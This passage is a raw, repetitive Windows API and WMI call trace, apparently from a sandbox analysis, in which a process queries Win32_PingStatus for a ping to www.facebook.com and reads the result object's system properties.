[6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c589b8) returned 0x0 [0142.541] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589b8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0142.541] WbemStatusCodeText:IUnknown:AddRef (This=0x5c589b8) returned 0x3 [0142.541] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589b8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0142.541] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589b8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0142.541] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589b8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0142.541] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0142.659] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0142.659] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0142.660] WbemStatusCodeText:IUnknown:Release (This=0x5c589b8) returned 0x2 [0142.660] WbemStatusCodeText:IUnknown:Release (This=0x5c589b8) returned 0x1 [0142.660] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0142.660] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0142.660] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589b8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c589b8) returned 0x0 [0142.660] WbemStatusCodeText:IUnknown:AddRef (This=0x5c589b8) returned 0x3 [0142.660] WbemStatusCodeText:IUnknown:Release (This=0x5c589b8) returned 0x2 [0142.660] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c589b8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0142.660] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.661] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.661] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.661] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.661] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.661] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.661] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.662] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0142.662] SafeArrayGetDim (psa=0x5c78e78) returned 0x1 [0142.662] SafeArrayGetDim (psa=0x5c78e78) returned 0x1 [0142.662] SafeArrayGetLBound (in: psa=0x5c78e78, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0142.662] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.662] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.662] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.662] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.662] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.662] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.662] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.662] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.662] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.662] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.662] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.662] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.663] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.663] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.663] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.663] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.663] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.663] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.663] SysStringByteLen (bstr="__PATH") returned 0xc [0142.663] SysStringByteLen (bstr="__PATH") returned 0xc [0142.663] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23166e0*=0, plFlavor=0x23166e4*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x23166e0*=3, plFlavor=0x23166e4*=64) returned 0x0 [0142.663] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316714*=0, plFlavor=0x2316718*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2316714*=8, plFlavor=0x2316718*=64) returned 0x0 [0142.663] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.663] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.663] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231676c*=0, plFlavor=0x2316770*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231676c*=8, plFlavor=0x2316770*=64) returned 0x0 [0142.664] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316794*=0, plFlavor=0x2316798*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2316794*=8, plFlavor=0x2316798*=64) returned 0x0 [0142.664] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.664] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.664] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23167ec*=0, plFlavor=0x23167f0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23167ec*=8, plFlavor=0x23167f0*=64) returned 0x0 [0142.664] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.664] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.664] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23169cc*=0, plFlavor=0x23169d0*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x23169cc*=3, plFlavor=0x23169d0*=64) returned 0x0 [0142.664] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316a00*=0, plFlavor=0x2316a04*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2316a00*=8200, plFlavor=0x2316a04*=64) returned 0x0 [0142.665] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316a34*=0, plFlavor=0x2316a38*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2316a34*=8, plFlavor=0x2316a38*=64) returned 0x0 [0142.665] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.665] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.665] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316a80*=0, plFlavor=0x2316a84*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2316a80*=8, plFlavor=0x2316a84*=64) returned 0x0 [0142.665] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.665] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.665] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316acc*=0, plFlavor=0x2316ad0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2316acc*=8, plFlavor=0x2316ad0*=64) returned 0x0 [0142.665] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.665] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.665] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0142.665] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0142.666] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.666] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="WriteVerboseStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316d08*=0, plFlavor=0x2316d0c*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316d08*=0, plFlavor=0x2316d0c*=0) returned 0x80041002 [0142.666] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0142.668] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58998) returned 0x0 [0142.668] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0142.668] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c589c8) returned 0x0 [0142.668] WbemStatusCodeText:IUnknown:Release (This=0x5c58998) returned 0x0 [0142.668] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c589c8) returned 0x0 [0142.668] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589c8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0142.669] WbemStatusCodeText:IUnknown:AddRef (This=0x5c589c8) returned 0x3 [0142.669] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589c8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0142.669] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589c8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0142.669] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589c8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0142.669] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0142.669] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0142.669] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589c8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0142.669] WbemStatusCodeText:IUnknown:Release (This=0x5c589c8) returned 0x2 [0142.669] WbemStatusCodeText:IUnknown:Release (This=0x5c589c8) returned 0x1 [0142.669] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0142.670] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0142.670] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589c8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c589c8) returned 0x0 [0142.670] WbemStatusCodeText:IUnknown:AddRef (This=0x5c589c8) returned 0x3 [0142.670] WbemStatusCodeText:IUnknown:Release (This=0x5c589c8) returned 0x2 [0142.670] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c589c8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0142.670] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.671] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.672] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.672] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.672] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.672] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0142.672] SafeArrayGetDim (psa=0x5c78ed8) returned 0x1 [0142.672] SafeArrayGetDim (psa=0x5c78ed8) returned 0x1 [0142.672] SafeArrayGetLBound (in: psa=0x5c78ed8, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0142.672] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.672] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.672] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.672] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.672] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.672] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.672] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.672] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.672] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.672] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.673] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.673] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.673] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.673] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.673] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.673] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.673] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.673] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.673] SysStringByteLen (bstr="__PATH") returned 0xc [0142.673] SysStringByteLen (bstr="__PATH") returned 0xc [0142.673] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23170e8*=0, plFlavor=0x23170ec*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x23170e8*=3, plFlavor=0x23170ec*=64) returned 0x0 [0142.674] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231711c*=0, plFlavor=0x2317120*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x231711c*=8, plFlavor=0x2317120*=64) returned 0x0 [0142.674] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.674] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.674] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317174*=0, plFlavor=0x2317178*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317174*=8, plFlavor=0x2317178*=64) returned 0x0 [0142.675] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231719c*=0, plFlavor=0x23171a0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x231719c*=8, plFlavor=0x23171a0*=64) returned 0x0 [0142.675] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.675] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.675] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23171f4*=0, plFlavor=0x23171f8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23171f4*=8, plFlavor=0x23171f8*=64) returned 0x0 [0142.675] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.675] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.675] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23173d4*=0, plFlavor=0x23173d8*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x23173d4*=3, plFlavor=0x23173d8*=64) returned 0x0 [0142.676] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317408*=0, plFlavor=0x231740c*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ea8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2317408*=8200, plFlavor=0x231740c*=64) returned 0x0 [0142.676] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231743c*=0, plFlavor=0x2317440*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x231743c*=8, plFlavor=0x2317440*=64) returned 0x0 [0142.676] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.676] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.676] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, 